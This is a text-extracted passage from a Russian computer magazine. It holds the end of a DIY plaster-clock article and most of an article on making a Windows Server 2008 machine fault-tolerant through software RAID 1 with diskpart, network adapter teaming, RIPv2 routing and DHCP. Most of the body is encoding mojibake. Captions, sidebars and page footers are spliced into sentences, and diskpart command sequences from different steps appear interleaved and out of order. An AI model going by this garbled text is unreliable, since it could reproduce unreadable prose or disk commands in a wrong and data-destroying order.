инебольшого количества воды.Дно делается в самую последнююочередь, после проделыванияотверстий под неоновыеиндикаторы.Контур отверстий прорисовываетсяциркулем прямона гипсе. Потом в центрепросверливается несколькоотверстий, и сердцевина аккуратновыдавливается. Тольконикаких ударов! До нужногоУПРАВЛЯЮЩИЙ КОНТРОЛЕРдиаметра все доводится с помощью тонкостенной трубки-скребка.Отверстия готовы и можно приступать к отливке дна. Гипс —пористый материал и ведет себя аналогично утеплителю, поэтомудля нормальной работы электроники заднюю крышку делать нестоит.Внутри гипс все еще остается влажным, и чтобы корпус не повело,перед установкой электроники нужно оставить его на неделю втеплом месте. В процессе сушки корпус меняет цвет с темного насветло-серый. Когда гипс полностью высохнет, можно приступатьк фиксированию неоновых индикаторов в отверстиях с помощьюклея. На нижнюю плоскость корпуса бетонных часов наклеиваютсярезиновые ножки, и часы готовы! zXÀÊÅÐ 12 /132/ 09111


SYN\ACKСЕРГЕЙ «GRINDER» ЯРЕМЧУК GRINDER@SYNACK.RUЭффектневаляшкиПростые шаги для создания отказоустойчивого Windows-сервераХороший админ не должен быть заметен. После того, как все настроено,он может спокойно заниматься своими делами, например, резаться вкваку или писать статьи в z. Его работа оценивается по стабильно работающемусерверу и отсутствию жалоб со стороны пользователей. Новедь неприятности обычно происходят в самый неподходящий момент и,хотя все ситуации предусмотреть просто нереально, кое-что все же можнопредпринять.112СОЗДАЕМ СОФТВАРНОЕ ЗЕРКАЛО Ëþáîåóñòðîéñòâî ñîâðåìåííîãî êîìïüþòåðà ìîæåòâûéòè èç ñòðîÿ, è âûñîêàÿ ñòîèìîñòü êîìïîíåíòàñîâåðøåííî íå ãàðàíòèðóåò 100%íàäåæíîñòü. Íåäîëãîâå÷íû è æåñòêèå äèñêè,õðàíÿùèå òîííû áåñöåííîé èíôîðìàöèè, ïîòåðÿêîòîðîé ìîæåò èìåòü ëþáûå ïîñëåäñòâèÿ,âïëîòü äî ðàçâàëà áèçíåñà. Òðàäèöèîííûìñïîñîáîì ñîõðàíèòü äàííûå ÿâëÿåòñÿ ïðèìåíåíèåñèñòåì ðåçåðâèðîâàíèÿ, â Win2k8 äëÿýòîãî èñïîëüçóåòñÿ êîìïîíåíò «Server Backup»,êîòîðûé ïðèøåë íà ñìåíó ìîùíîé óòèëèòåNTBackup. Íî ñåãîäíÿ ìû íå áóäåì óñòðàèâàòüáýêàïíûå ðàçáîðêè, ëó÷øå ïîãîâîðèì î ïðîñòîìè ïðè ýòîì î÷åíü ýôôåêòèâíîì ñïîñîáåóâåëè÷åíèÿ îòêàçîóñòîé÷èâîñòè ñèñòåìû —ñîçäàíèè ñîôòâàðíîãî RAID 1. Íàïîìíþ, ÷òî âìàññèâå RAID 1 èñïîëüçóåòñÿ çåðêàëèðîâàíèåäâóõ äèñêîâ, ÷òî è îáåñïå÷èâàåò âûñîêóþîòêàçîóñòîé÷èâîñòü. Ïðè âûõîäå èç ñòðîÿîäíîãî õàðäà âòîðîé ïðîäîëæàåò ðàáîòàòü,êàê íè â ÷åì íå áûâàëî. ×òîáû âîññòàíîâèòüìàññèâ, ïðîñòî ïîäêëþ÷àåì ê ñåðâåðó âòîðîéäèñê âìåñòî íåèñïðàâíîãî. Åäèíñòâåííûéíåäîñòàòîê — ýòî áîëüøàÿ ñòîèìîñòü òàêîãîðåøåíèÿ (íà åäèíèöó îáúåìà), ïî ñðàâíåíèþ ñîäíîäèñêîâûì âàðèàíòîì èëè êîïèðîâàíèåìâñåõ êðèòè÷åñêèõ äàííûõ íà âíåøíåå óñòðîéñòâîäëÿ áýêàïà.Ïðîöåäóðà íàñòðîéêè RAID 1 äëÿ ñèñòåìíûõäèñêîâ èëè äèñêîâ ñ äàííûìè â Win2k8 íåñêîëüêîîòëè÷àåòñÿ. Ëîíãõîðí ïîääåðæèâàåò äâàòèïà çàãðóçêè: MBR (Master Boot Record) è GPT(GUID Partition Table). Òèï çàãðóçêè MBR ðàçðàáîòàíñïåöèàëüíî äëÿ x86 ñèñòåì è íà ñåãîäíÿÿâëÿåòñÿ íàèáîëåå ïîïóëÿðíûì. Òèï GPT ïåðâîíà÷àëüíîïîÿâèëñÿ â ñèñòåìàõ íà áàçå Itaniumè ñåé÷àñ øèðîêî èñïîëüçóåòñÿ ïðè çàãðóçêå64-ðàçðÿäíûõ ÎÑ. Íàñòðîéêà çåðêàëèðîâàíèÿñèñòåìíûõ äèñêîâ äëÿ MBR è GPT òàêæå áóäåòíåìíîãî îòëè÷àòüñÿ.Òåïåðü ïîñëåäîâàòåëüíî ðàçáåðåì îðãàíèçàöèþRAID 1 äëÿ êàæäîãî ñëó÷àÿ. Íà÷íåìñ ñèñòåìíîãî äèñêà, èñïîëüçóþùåãî MBR.Ïîñëå óñòàíîâêè ñèñòåìû ó íàñ äîëæåí áûòüîäèí óæå ðàáî÷èé (ñèñòåìíûé) äèñê è âòîðîéïîêà íåçàäåéñòâîâàííûé äèñê, êîòîðûé áóäåòçåðêàëîì îñíîâíîãî. Äëÿ óïðàâëåíèÿ õàðäàìèèñïîëüçóåì âêëàäêó Disk Management, — îíàäîñòóïíà â Server Manager è â êîíñîëè ComputerManagement (compmgmt.csc). Ïåðåä ñîçäàíèåìRAID ñëåäóåò ïðåîáðàçîâàòü äèñêè â äèíàìè-÷åñêèå. Âûáèðàåì çíà÷îê äèñêà â ïîëå âíèçó è âêîíòåêñòíîì ìåíþ — ïóíêò Convert to DynamicDisk («Ïðåîáðàçîâàòü â äèíàìè÷åñêèé äèñê).Äàëåå îòìå÷àåì â ïîÿâèâøåìñÿ îêíå Disk 0, âîêíå Disk to Convert ïîäòâåðæäàåì ñâîé âûáîðíàæàòèåì Convert. Ïîñëå ïðåîáðàçîâàíèÿäèñêà â Disk Management îí áóäåò ïîìå÷åí êàêDynamic. Ýòó îïåðàöèþ ìîæíî ïðîèçâåñòèâ êîìàíäíîé ñòðîêå ïðè ïîìîùè óòèëèòûDISKPART. Âûçûâàåì:> diskpartÑìîòðèì ñïèñîê äèñêîâ è íåêîòîðûå èõ õàðàêòåðèñòèêè:diskpart> list diskÏîäêëþ÷àåì disk 0 è ïðåîáðàçóåì åãî â äèíàìè-÷åñêèé:diskpart> select disk 0Disk 0 is now the selected disk.diskpart> convert dynamicDiskPart successfully converted theselected disk to dynamic format.Âíèìàòåëüíî ïðî÷òè ñîîáùåíèå ïîñëåâûïîëíåíèÿ ýòîé êîìàíäû, â íåêîòîðûõñëó÷àÿõ äëÿ çàâåðøåíèÿ îïåðàöèè òðåáóåòñÿïåðåçàãðóçêà.C ñèñòåìíûì äèñêîì âñå. Ïîäêëþ÷àåì âòîðîéâèí÷.  ñëó÷àå, êîãäà ñòàòóñ äèñêà â DiskManagement ïîêàçàí êàê Offline, àêòèâèðóåìåãî âûáîðîì ïóíêòà <strong>Online</strong> â êîíòåêñòíîììåíþ èëè àíàëîãè÷íîé êîìàíäîé diskpart.Åñëè äèñê åùå íå ðàçìå÷åí, ýòó îïåðàöèþìîæíî ïðîèçâåñòè ïðè ïîìîùè ñàìîãî DiskManagement, âûáðàâ â ìåíþ ïóíêò InitializeDisk è çàòåì òèï òàáëèöû ðàçäåëîâ MBR èëèGPT. Äàëåå ïðåîáðàçîâûâàåì åãî â äèíàìè-÷åñêèé äèñê ñàìîñòîÿòåëüíî èëè ïîðó÷àåì âñåîïåðàöèè ìàñòåðàì. Âûáèðàåì ïåðâûé äèñêè â êîíòåêñòíîì ìåíþ ùåëêàåì ïóíêò AddMirror; â ïîÿâèâøåìñÿ îêíå îòìå÷àåì âòîðîéäèñê. Ìàñòåð ïðåäóïðåäèò, ÷òî îí áóäåòïðåîáðàçîâàí â Dynamic Disk, — ñîãëàøàåìñÿ,íàæàâ ÎÊ. Íà÷íåòñÿ ïðîöåññ ïåðåíîñà äàííûõíà âòîðîé äèñê. Ïî îêîí÷àíèè â çàãðóç÷èêáóäåò äîáàâëåíà âîçìîæíîñòü çàãðóçêè ÎÑ ñîâòîðîãî õàðäà. êîìàíäíîé ñòðîêå äåéñòâèÿ âûïîëíÿþòñÿòàêæå ïðîñòî, ïðàâäà, â îòëè÷èå îò DiskManagement, çäåñü óæå íåò ïîäñòðàõîâêè, èäîïóùåííàÿ îøèáêà ìîæåò ïðèâåñòè ê ïîòåðåäàííûõ. Ñìîòðèì ñïèñîê òîìîâ:XÀÊÅÐ 12 /132/ 09


diskpart> list volumeÏåðåõîäèì êî âòîðîìó äèñêó:Îáû÷íî çàãðóçî÷íûé ïåðâûé äèñê èäåò íóëåâûì òîìîì, âûáèðàåì åãî:diskpart> select disk 1diskpart> select volume 0Volume 0 is the selected volume.È ñîçäàåì çåðêàëî, óêàçàâ â êà÷åñòâå ïàðàìåòðà âòîðîé äèñê:Ñîçäàåì ñèñòåìíûé EFI-ðàçäåë ðàçìåðîì 400 Ìá:diskpart> create partition efi size=400Diskpart succeeded in creating the specified partition.diskpart> add disk=1DiskPart succeeded in adding a mirror to the volume. ïðîöåññå ñîçäàíèÿ çåðêàëà ïîëå «Status» êîìàíäû «list volume» áóäåò ïîêàçûâàòüçíà÷åíèå «Rebuild»; êîãäà îíî èçìåíèòñÿ íà «Healthy», ïðîöåññóñïåøíî çàâåðøåí.Çåðêàëèðîâàíèå ñèñòåìíûõ äèñêîâ, èñïîëüçóþùèõ GPT, ÷óòüñëîæíåå, òàê êàê EFI (Extensible Firmware Interface, ðàñøèðÿåìûéìèêðîïðîãðàììíûé èíòåðôåéñ) è MSR (The MicrosoftReserved) ðàçäåëû íåîáõîäèìî ñîçäàâàòü âðó÷íóþ. Åñëè âòîðîéõàðä óæå ñîäåðæèò òàáëèöó MBR, îáÿçàòåëüíî ïåðåêîíâåðòèðóåìåãî â GPT. Ýòî ìîæíî ñäåëàòü èç ìåíþ Disk Management èëèêîìàíäîé:diskpart> select disk 1diskpart> convert GPTDiskPart successfully converted the selected disk to GPTformat.Íî äèñê ìîæíî êîíâåðòèðîâàòü â GPT, òîëüêî åñëè îí ïóñò, ïîýòîìó åñëèíà äèñêå óæå ñîçäàíû ðàçäåëû, ïîñëåäîâàòåëüíî óäàëÿåì èõ ïðè ïîìîùèêîìàíä:diskpart> select partition 1diskpart> delete partition override êà÷åñòâå äîïîëíèòåëüíîãî ïàðàìåòðà ìîæíî çàäàòü ñìåùåíèå. ÒåïåðüMSR-ðàçäåë, êîòîðûé èñïîëüçóåòñÿ äëÿ õðàíåíèÿ ìåòàäàííûõ, íå âèäåí âDisk Management. Òàêîé ðàçäåë ðåêîìåíäóåòñÿ ñîçäàâàòü ïåðâûì íà äèñêåñ äàííûìè è âòîðûì íà ñèñòåìíîì äèñêå. Ïðè ïðåîáðàçîâàíèè MBR GPT ðàçäåë MSR ñîçäàåòñÿ àâòîìàòè÷åñêè, íî åãî ðàçìåð íàñ ìîæåò íåóñòðàèâàòü:diskpart> create partition msr size=32Diskpart succeeded in creating the specified partition.Ïîñëå ñîçäàíèÿ MSR è EFI ðàçäåëîâ íåîáõîäèìî îòôîðìàòèðîâàòü EFI âFAT. Äëÿ ýòîãî íàçíà÷àåì åìó áóêâó äèñêà.  îáû÷íîì âàðèàíòå ýòî ìîæíîáûëî áû ñäåëàòü ÷åðåç Disk Management, âûáðàâ â êîíòåêñòíîì ìåíþïóíêò New Simple Volume è çàòåì ïîñëåäîâàòåëüíî îòâåòèâ íà âîïðîñûâèçàðäà, íî ñ GPT òàêîé ôîêóñ íå ïðîõîäèò, ïîýòîìó èñïîëüçóåì diskpart:diskpart> select disk 1diskpart> select partition 1diskpart> assign letter=EDiskPart successfully assigned the drive letter or mountpoint.È — ôîðìàòèðóåì:C:\Windows\system32>format e: /fs:fat /q /yÒåïåðü ñìîòðèì òàáëèöó ðàçäåëîâ ñèñòåìíîãî äèñêà, ÷òîáû çàòåì ïîâòîðèòüåå íà ðåçåðâíîì:Îñòàëîñü ñêîïèðîâàòü äàííûå ñ ðàçäåëà EFI ïåðâîãî äèñêà (ïóñòü ýòîáóäåò D):diskpart> select disk 0diskpart> list partitionPartition ### Type Size Offset-----------------------------------Partition 1 System 400 MB 32 KBPartition 2 Primary 13996 MB 400 MBPartition 3 Reserved 32 MB 14 GBC:\Windows\system32>xcopy d:\*.* e: /s /hÄàëåå êîíâåðòèðóåì äèñêè â äèíàìè÷åñêèå (convert dynamic) è ìèððîðèì,êàê äëÿ MBR.È, íàêîíåö, ðàçáåðåì, êàê ñîçäàòü RAID 1 äëÿ äèñêîâ ñ äàííûìè.  ýòîìñëó÷àå ïîòðåáóåòñÿ òðè äèñêà: íà ïåðâîì (â diskpart îáîçíà÷åí êàêíóëåâîé) áóäåò óñòàíîâëåíà ñèñòåìà, äâà äðóãèõ áóäóò ñîäåðæàòü äàííûå.Çäåñü âñå ïðîñòî: âûáèðàåì â êîíòåêñòíîì ìåíþ îäíîãî èç data-äèñêîâXÀÊÅÐ 12 /132/ 09 113


SYN\ACKêîìïüþòåðàõ ðåñóðñû â åäèíîå ëîãè÷åñêîå ïðîñòðàíñòâîèìåí. Äàííûå â òàêîì ñëó÷àå ìîãóò õðàíèòüñÿ íà íåñêîëüêèõñåðâåðàõ ñ âîçìîæíîñòüþ ñèíõðîíèçàöèè èíôîðìàöèè. Ïðèâûõîäå èç ñòðîÿ îäíîé ñèñòåìû ýòî íå ñêàæåòñÿ íà ðàáîòåñåðâèñîâ. Ïîäðîáíåå î DFS òû ìîæåøü ïðî÷èòàòü â ñòàòüå«Ñòðàæ ôàéëîâîãî äåðåâà», îïóáëèêîâàííîé â äåêàáðüñêîìíîìåðå z çà 2007 ãîä.НА СЕРВЕРАХ ЧАСТО ВСТРЕЧАЮТСЯ СЕТЕВУХИ НАBROADCOM'ОВСКИХ ЧИПСЕТАХINFOinfo• Настройка NLB вWin2k3 рассмотренав статье «Непотопляемыйсервер», которуюты найдешьв z_02_2008.• Компонент «ServerBackup» для архивациииспользует службуVolume Shadow CopyService. Подробнее оServer Backup читай встатье «Лови момент!»в z_07_2008, а ослужбе VSS — в статье«Движение в тени»,ïóíêò New Mirrored Volume è ñëåäóåì óêàçàíèÿì âèçàðäà.Îñíîâíîé øàã — âûáîð âòîðîãî äèñêà.  êîìàíäíîé ñòðîêåíóæíî óêàçàòü äèñê èëè òîì ïðè ïîìîùè select, à çàòåìñîçäàòü çåðêàëî êîìàíäîé «add disk=2». ×òîáû îòêëþ÷èòüçåðêàëî, èñïîëüçóåì êîìàíäó «break disk=2».Ïðèìå÷àíèå ðåäàêòîðà: ÷òîáû ïîâûñèòü îáùèé óðîâåíüíàäåæíîñòè è çàùèòû äàííûõ íà êðèòè÷åñêè âàæíûõ ñåðâåðàõ,çåðêàëèðîâàííûå äèñêè ìîæíî ðàçìåñòèòü íà ðàçíûõäèñêîâûõ êîíòðîëëåðàõ. Òàêàÿ òåõíèêà îáåñïå÷èâàåò îòêàçîóñòîé÷èâîñòüíà óðîâíå êîíòðîëëåðîâ è íîñèò íàçâàíèå«äóïëåêñèðîâàíèå äèñêîâ».Òàêæå íå çàáûâàåì î ðàñïðåäåëåííîé ôàéëîâîé ñèñòåìåDFS, ïîçâîëÿþùåé îáúåäèíÿòü íàõîäÿùèåñÿ íà ðàçíûõКОНВЕРТИРУЕМ ДИСКИ В ДИНАМИЧЕСКИЕПОВЫШАЕМ НАДЕЖНОСТЬ СЕТИ Áåç ñåòè ëþáîé, äàæåî÷åíü äîðîãîé ñîâðåìåííûé ñåðâåð íå èìååò ñìûñëà, îí ïîïðîñòóíå ñìîæåò âûïîëíÿòü âîçëîæåííûå íà íåãî ôóíêöèè.Ïîýòîìó ðåçåðâèðîâàíèå ñåòåâûõ ïîäêëþ÷åíèé ÿâëÿåòñÿâàæíûì øàãîì ïîñòðîåíèÿ îòêàçîóñòîé÷èâîãî ñåðâåðà. Ïðèíàëè÷èè äâóõ îäíîòèïíûõ ñåòåâûõ êàðò èõ ìîæíî îáúåäèíèòüâ îäíî ïñåâäîóñòðîéñòâî, êîòîðîå áóäåò âîñïðèíèìàòüñÿñèñòåìîé êàê îáû÷íûé ñåòåâîé èíòåðôåéñ ñî ñâîèìè ÌÀÑ- èIP-àäðåñàìè. Ýòà òåõíîëîãèÿ èçâåñòíà êàê «àãðåãàöèÿ êàíàëîâ»(Link aggregation, LAG) èëè «òðàíêèíã» (trunking).Ðàáîòàÿ â ïàðå, äâå ñåòåâûå êàðòû îáåñïå÷èâàþò ïðàêòè÷åñêèâäâîå áîëüøóþ ïðîïóñêíóþ ñïîñîáíîñòü, à ïðè âûõîäåèç ñòðîÿ îäíîé èç êàðò âñþ íàãðóçêó áåðåò íà ñåáÿ âòîðàÿ,äîñòóï ê ñåðâèñó ïðè ýòîì íå ïðåðûâàåòñÿ.  ÿäðî Linux óæåâñòðîåíà âîçìîæíîñòü îáúåäèíåíèÿ äâóõ ñåòåâûõ èíòåðôåéñîââ îäèí (linux-ip.net/html/ether-bonding.html), ïîäîáíàÿòåõíîëîãèÿ çàëîæåíà è â äðóãèõ îïåðàöèîíêàõ — *BSD, MacOS X, OpenSolaris.  Windows òàêîé ôóíêöèîíàëüíîñòè èçíà-÷àëüíî íå ïðåäóñìîòðåíî, ïîýòîìó, ÷òîáû ïîëó÷èòü íóæíûéðåçóëüòàò, íåîáõîäèìî èñïîëüçîâàòü ñòîðîííèå äðàéâåðàè, êàê âîäèòñÿ, äëÿ êàðò ðàçíûõ ïðîèçâîäèòåëåé ïðèäåòñÿèñêàòü ñâîé âàðèàíò ðåàëèçàöèè. Çà÷àñòóþ ðåøåíèÿ ðàçíûõôèðì íå ñîâìåñòèìû ìåæäó ñîáîé, è êàæäàÿ êîìïàíèÿâ îáîçíà÷åíèè ñâîåé ïðîäóêöèè óêàçûâàåò ðàçëè÷íûåHTTP://WWWlinks•Описание Diskpart— support.microsoft.com/kb/300415/ru.•Драйвера и утилитыдля карт Intel — www.intel.com/support/network/adapter.•Драйвера и утилитыBACS для картBroadcom — www.broadcom.com/support/ethernet_nic.114XÀÊÅÐ 12 /132/ 09


СОЗДАЕМ ТРАНК ИЗ ИНТЕЛОВСКИХ СЕТЕВУХУСТАНАВЛИВАЕМ РОЛЬ DHCP-СЕРВЕРАíàçâàíèÿ òðàíêèíãà (íàïðèìåð, Cisco EtherChannel trunking, Adaptec'sDuralink trunking è ò.ä.) Èìåííî ïî ýòîé ïðè÷èíå äëÿ îðãàíèçàöèè òðàíêàðåêîìåíäóåòñÿ èñïîëüçîâàòü îäèíàêîâûå àäàïòåðû, à ïðè âûáîðå îáîðóäîâàíèÿäëÿ ñåðâåðà ñëåäóåò ó÷èòûâàòü íàëè÷èå âîçìîæíîñòè ðàáîòû âýòîì ðåæèìå. Íåìíîãî ÿñíîñòè âíåñëî ïðèíÿòèå â 2000 ãîäó ñòàíäàðòàIEEE 802.3ad (802.3ad Link aggregation for parallel links), è ñåãîäíÿ ìíîãèåðåøåíèÿ âûïóñêàþòñÿ ñ ïîääåðæêîé IEEE 802.3ad.Îñíîâíûå ïðîèçâîäèòåëè ñåðâåðîâ (HP, Dell, IBM) ÷àñòî èñïîëüçóþòñåòåâûå àäàïòåðû íà ìèêðîñõåìàõ êîðïîðàöèè Broadcom, äëÿ êîòîðûõ íàîôñàéòå äîñòóïíû íåîáõîäèìûå äðàéâåðà è óòèëèòû BACS — BroadcomAdvanced Control Suite (www.broadcom.com/support/ethernet_nic). Êðîìåòîãî, èíôîðìàöèþ î âîçìîæíîñòè èñïîëüçîâàíèÿ LAG äëÿ ñåòåâûõêàðò êîíêðåòíîãî ïðîèçâîäèòåëÿ ìîæíî ïîèñêàòü íà äîìàøíåì ñàéòå.Äëÿ ïðèìåðà ïðèâåäó îïèñàíèå äîñòóïíûõ ðåæèìîâ äëÿ êàðò îò Intel, êîòîðîåäàíî íà ñòðàíèöå (www.intel.com/support/network/sb/cs-009747.htm). Êàê âèäèì, çàÿâëåíà ïîääåðæêà ÷åòûðåõ ðåæèìîâ LAG:• ALB (Adaptive Load Balancing, àäàïòèâíàÿ áàëàíñèðîâêà íàãðóçêè) — íåòðåáóåò ïîääåðæêè êîììóòàòîðàìè, îáåñïå÷èâàåò áàëàíñèðîâêó òðàôèêàñ 2-8 êàðò òîëüêî ïðè ïåðåäà÷å è íà ðàçíûå àäðåñà, ïðèåì îñóùåñòâëÿåòëèøü ïåðâûé àäàïòåð;• RLB (Receive Load Balancing, áàëàíñèðîâêà âõîäÿùåé íàãðóçêè) — ìîæåòèñïîëüçîâàòüñÿ ñ ëþáûì êîììóòàòîðîì, íî òîëüêî â ñî÷åòàíèè ñ ALB,ñêîðîñòíûå àäàïòåðû ó÷àñòâóþò â áàëàíñèðîâêå âõîäÿùåãî òðàôèêà TCP/IP, ïåðâûé àäàïòåð ïðèíèìàåò âåñü îñòàëüíîé âõîäÿùèé òðàôèê;•SLA (Static Link Aggregation, îí æå Intel Link Aggregation, ñòàòè÷åñêîåîáúåäèíåíèå êàíàëîâ) — îáåñïå÷èâàåò äâóíàïðàâëåííîå âûðàâíèâàíèåíàãðóçêè, íî òðåáóåò íàëè÷èÿ ñîâìåñòèìûõ ñâèò÷åé;• Dynamic 802.3ad — ñîâìåñòèì ñî ñòàíäàðòîì 802.3ad, ïî âîçìîæíîñòÿìïîõîæ íà ïðåäûäóùèé.Òî åñòü, ðåæèì ALB ïðåäíàçíà÷åí áîëüøå äëÿ îáåñïå÷åíèÿ îòêàçîóñòîé-÷èâîñòè, òàê êàê âîçìîæíà áàëàíñèðîâêà òîëüêî èñõîäÿùèõ ñîåäèíåíèé.Îñòàëüíûå æå ðåæèìû ïîääåðæèâàþò è áàëàíñèðîâêó íàãðóçêè êàê íàïðèåì, òàê è ïåðåäà÷ó.  êàðòàõ äðóãèõ ïðîèçâîäèòåëåé ðåæèìû LAGìîãóò îòëè÷àòüñÿ ïî íàçâàíèþ, õîòÿ ñóòü, êàê ïðàâèëî, ìåíÿåòñÿ íåñóùåñòâåííî.Êñòàòè, ïðàâèëüíî îïðåäåëèòü èíòåëîâñêóþ ñåòåâóõó ìîæíî,ñëåäóÿ èíñòðóêöèè ïî ññûëêå «Identify your Adapter» íà ñòðàíèöå www.intel.com/support/network/adapter.Äëÿ íàñòðîéêè ïðîäâèíóòûõ ïàðàìåòðîâ ñåòåâîãî àäàïòåðà, â òîì ÷èñëåè äëÿ ðàáîòû â òðàíêå, Intel ïðåäëàãàåò ñîáñòâåííóþ óòèëèòó PROSet —www.intel.com/support/network/sb/CS-016041.htm. Ñêà÷èâàåì è óñòàíàâëèâàåìäðàéâåð îáû÷íûì îáðàçîì. Íàïðèìåð, äëÿ 64-áèòíîé âåðñèèWin7/2k8R2 íàì íóæåí ôàéë PROWIN7X64.exe, îáðàùàåì ïîïóòíî âíèìàíèåíà ñïèñîê ïîääåðæèâàåìûõ ñåòåâûõ êàðò. Äàëåå âûçûâàåì îêíîñâîéñòâ îäíîé èç ñåòåâóõ. Ïîñëå óñòàíîâêè äðàéâåðîâ çäåñü ïîÿâèëèñüäîïîëíèòåëüíûå âêëàäêè, ãäå ìîæíî òîíêî íàñòðîèòü ðàáîòó àäàïòåðà. êîíòåêñòå ñòàòüè íàñ èíòåðåñóåò âêëàäêà Teaming, ïåðåõîäèì íà íåå èóñòàíàâëèâàåì ôëàæîê Team this adapter with other adapter. ×òîáû ñîçäàòüãðóïïó èç íåñêîëüêèõ ñåòåâûõ àäàïòåðîâ, íàæèìàåì êíîïêó New Team è,ñëåäóÿ óêàçàíèÿì ìàñòåðà, ââîäèì íàçâàíèå ãðóïïû, îòìå÷àåì ñåòåâûåêàðòû, êîòîðûå áóäóò âõîäèòü â ãðóïïó, çàòåì óêàçûâàåì ðåæèì ðàáîòû(ñìîòðè âûøå). Ïî îêîí÷àíèè íàñòðîåê â ñèñòåìå ïîÿâèòñÿ åùå îäèíàäàïòåð. Îñîáî âàæíûå ñåðâåðà ñëåäóåò ïîäêëþ÷àòü ê ñåòè ñ èñïîëüçîâàíèåìäâóõ òðàíêîâ, ÷åðåç äâà ñâèò÷à.Òàêæå íå ñòîèò çàáûâàòü î ïîääåðæêå Win2k8-ïðîòîêîëîâ IGMP (InternetGroup Management Protocol) è RIPv2 (Routing Information Protocol);ïîääåðæêà áîëåå óäà÷íîãî ïî ñðàâíåíèþ ñ RIPv2 ïðîòîêîëà OSPF (OpenShortest Path First) ïî÷åìó-òî áûëà óáðàíà. Ïðîòîêîë IGMP ïîçâîëÿåòñíèçèòü íàãðóçêó íà ñåòü, äîñòàâëÿÿ øèðîêîâåùàòåëüíûå ïàêåòû òîëüêîàäðåñàòàì, êîòîðûå ÿâíî çàÿâèëè î ñâîåé çàèíòåðåñîâàííîñòè. ÏîýòîìóIGMP ÷àñòî èñïîëüçóþò äëÿ ïåðåäà÷è àóäèî- è âèäåîèíôîðìàöèè. Ïðîòîêîëäèíàìè÷åñêîé ìàðøðóòèçàöèè RIPv2 áîëåå èíòåðåñåí â êîíòåêñòåñòàòüè, òàê êàê ïîçâîëÿåò îáíîâëÿòü èíôîðìàöèþ î ìàðøðóòàõ, âûáèðàÿîïòèìàëüíûé íà äàííûé ìîìåíò.  ñëó÷àå âûõîäà èç ñòðîÿ îäíîãî èçìàðøðóòèçàòîðîâ, êëèåíòñêàÿ ñèñòåìà «óçíàåò» îá ýòîì è ïîëó÷èò íîâûåòàáëèöû. Ýòî àêòóàëüíî è â ñëó÷àå, êîãäà èìååòñÿ íåñêîëüêî èíòåðíåòïîäêëþ÷åíèé,— îòêàç îäíîãî èç íèõ íèêàê íå ñêàæåòñÿ íà ïîëüçîâàòåëÿõ,êîòîðûå ñìîãóò, êàê íè â ÷åì íå áûâàëî, âûõîäèòü ÷åðåç ðåçåðâíûéêàíàë. Õîòÿ âíåøíèå ïîäêëþ÷åíèÿ ê VPN-ñåðâåðàì è ñåðâèñàì â DMZ,íàâåðíÿêà, ïðèäåòñÿ ïåðåíàñòðàèâàòü âðó÷íóþ (çäåñü ìíîãîå çàâèñèò îòòîïîëîãèè). ×òîáû èñêëþ÷èòü ïðîñòîè, ñëåäóåò èñïîëüçîâàòü ISA Server2006/Forefront TMG (ïîäðîáíåå î Forefront TMG ÷èòàé â ïðåäûäóùåìíîìåðå z), ëèáî ðåøåíèÿ îò ñòîðîííèõ ïðîèçâîäèòåëåé, âðîäå KerioWinRoute Firewall, UserGate Proxy & Firewall è äðóãèå.Ïîìèìî ïðî÷åãî, RIPv2 ñïàñàåò àäìèíà îò ðó÷íîé íàñòðîéêè ñòàòè÷åñêîéìàðøðóòèçàöèè íà êàæäîì êîìïüþòåðå (êîìàíäîé «route add»),÷òî îñîáåííî âûðó÷àåò â áîëüøèõ, ðàçâåòâëåííûõ ñåòÿõ. ×òîáû óñòàíîâèòüïîääåðæêó äèíàìè÷åñêîé ìàðøðóòèçàöèè, äîáàâü ðîëü Routingand Remote Access (RRAS), âûáðàâ âíà÷àëå ðîëü «Network Policy andAccess Services». Òåïåðü îòêðûâàåì êîíñîëü RRAS, êîòîðàÿ íàõîäèòñÿ âAdministrative Tools, âûáèðàåì ñåðâåð è â êîíòåêñòíîì ìåíþ — ïóíêò«Configure and Enable Routing and Remote Access». Çàïóñòèòñÿ âèçàðä,íà âòîðîì øàãå êîòîðîãî îòìå÷àåì «Custom Configuration» è äàëååùåëêàåì LAN Routing. Ïîñëå çàïóñêà ñëóæáû ñòàíóò äîñòóïíû íàñòðîéêèäëÿ IPv4 è IPv6. Ðàñêðûâàåì ñïèñîê IPv4, ïåðåõîäèì â General è âêîíòåêñòíîì ìåíþ âûáèðàåì ïóíêò New Routing Protocol.  ïîÿâèâøåìñÿñïèñêå ùåëêàåì ïî RIP Version 2 for Internet Protocol, ïîñëå ÷åãî âîâêëàäêå IPv4 ïîÿâèòñÿ ïîäïóíêò RIP. Òåïåðü íóæíî íàñòðîèòü ïðîòîêîë.Âûáèðàåì RIP è â êîíòåêñòíîì ìåíþ — ïóíêò «New Interface». Ìàñòåðïðåäëîæèò âûáðàòü èíòåðôåéñ, è ïîÿâèòñÿ îêíî ñ ñîîòâåòñòâóþùèìèíàñòðîéêàìè.XÀÊÅÐ 12 /132/ 09 115


SYN\ACKПОДКЛЮЧАЕМ ПРИНТЕРЫ В ПУЛНАСТРАИВАЕМ ОТКАЗОУСТОЙЧИВЫЙ DHCP-СЕРВИС Äàæå â íåáîëüøèõ ñåòÿõ äëÿ ðàçäà÷èIP-àäðåñîâ è ïðî÷èõ ñåòåâûõ íàñòðîåê êëèåíòàìíà ïîðÿäîê óäîáíåå èñïîëüçîâàòü DHCP-ñåðâåð,÷åì ïðîñòî ïðîïèñûâàòü àäðåñà â íàñòðîéêàõêàæäîé ñèñòåìû âðó÷íóþ (è çàòåì áîðîòüñÿñ êîíôëèêòàìè). Óïðàâëåíèå IP-àäðåñàìèèç îäíîãî ìåñòà ýêîíîìèò êó÷ó âðåìåíè.Ïðîáëåìà â òîì, ÷òî òåïåðü êëèåíòû çàâèñèìûîò ðàáîòîñïîñîáíîñòè DHCP-ñåðâåðà, è âñëó÷àå âûõîäà åãî èç ñòðîÿ íå ñìîãóò ïîëó÷èòüIP-àäðåñ, ñîîòâåòñòâåííî, íå ñìîãóò âîñïîëüçîâàòüñÿðåñóðñàìè ëîêàëüíîé è ãëîáàëüíîéñåòåé. Âîçìîæíî íåñêîëüêî âàðèàíòîâ âûõîäà.Ñàìûé î÷åâèäíûé — ýòî ñîçäàíèå êëàñòåðà, âýòîì ñëó÷àå ïðè îòêàçå îäíîãî ñåðâåðà âòîðîéâîçüìåò íà ñåáÿ âñþ íàãðóçêó. Âîïðîñ ïîñòðîåíèÿîòêàçîóñòîé÷èâîãî êëàñòåðà äëÿ ôàéëîâîãîñåðâåðà áûë ðàññìîòðåí â ñòàòüå «Áåçîòêàçíûéôàéëîîáìåííèê», 